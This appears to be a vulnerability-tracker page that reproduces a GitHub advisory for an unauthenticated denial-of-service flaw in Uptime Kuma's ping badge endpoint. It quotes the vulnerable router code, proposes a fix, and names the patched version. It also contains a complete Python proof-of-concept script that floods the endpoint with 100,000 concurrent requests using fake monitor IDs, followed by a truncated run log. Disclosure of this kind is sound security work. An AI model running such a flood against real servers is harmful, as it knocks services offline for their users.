VulnWatch by ve1ve2
high 7.5

GHSA-wf2j-5mc7-5c4w: Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs

Source:
Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)
Published:
Fetched:
Updated:
Affects:
louislam uptime-kuma

https://github.com/louislam/uptime-kuma/security/advisories/GHSA-wf2j-5mc7-5c4w ↗

repo-advisoryCWE-400CWE-770securityrepo:louislam/uptime-kuma

Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs ### Summary The public endpoint GET /api/badge/:id/ping/:duration? performs expensive uptime calculator initialization for arbitrary monitor IDs before rejecting non-public or nonexistent monitors. An unauthenticated attacker can send many requests with unique fake monitor IDs, causing resource exhaustion and denial of service. Once the service becomes unresponsive, all endpoints cease functioning for a time after the active attack ends (around 5-10 minutes in testing), not just the badge one. ### Details In server/routers/api-router.js: router.get("/api/badge/:id/ping/:duration?", cache("5 minutes"), async (request, response) => { allowAllOrigin(response); ... const uptimeCalculator = await UptimeCalculator.getUptimeCalculator(requestedMonitorId); const avgPing = uptimeCalculator.getDataByDuration(requestedDuration).avgPing; // XXX: This ties up resources const badgeValues = { style }; if (!publicMonitor) { // return a "N/A" badge in naColor (grey), if monitor is not public / not available / non exsitant Should check for public earlier, before doing anything expensive, and/or a quicker fail for invalid IDs. ### PoC ``` #!/usr/bin/env python3 import time, urllib.request, concurrent.futures TARGET = "http://127.0.0.1:3001" TOTAL = 100_000 CONCURRENCY = 100 TIMEOUT = 5 START_ID = 1_000_000_000 ok = fail = 0 start = time.perf_counter() print(f"Target: {TARGET}") print(f"Requests: {TOTAL}, concurrency: {CONCURRENCY}") with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as pool: futures = [ pool.submit( urllib.request.urlopen, f"{TARGET}/api/badge/{START_ID + i}/ping/24h", timeout=TIMEOUT, ) for i in range(TOTAL) ] for n, fut in enumerate(concurrent.futures.as_completed(futures), 1): try: r = fut.result() r.read(128) r.close() ok += 1 except Exception: fail += 1 if n % 1000 == 0: hstart = time.perf_counter() try: h = urllib.request.urlopen(f"{TARGET}/api/entry-page", timeout=TIMEOUT) h.read(1) h.close() health = f"health=ok time={time.perf_counter() - hstart:.2f}s" except Exception: health = f"health=FAIL time={TIMEOUT:.2f}s" print( f"{n}/{TOTAL} done " f"ok={ok} fail={fail} " f"wall={time.perf_counter() - start:.1f}s " f"{health}" ) ``` Tail PoC output: 53000/100000 done ok=53000 fail=0 wall=264.2s health=ok time=0.02s 54000/100000 done ok=54000 fail=0 wall=273.8s health=ok time=0.02s 55000/100000 done ok=55000 fail=0 wall=283.6s health=ok time=0.02s 56000/100000 done ok=56000 fail=0 wall=293.5s health=ok time=0.02s 57000/10000 Affected packages: :uptime-kuma Patched: uptime-kuma 2.5.4

Linked vulnerabilities (1)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs

CWE: CWE-400, CWE-770Aliases: CVE-2026-77415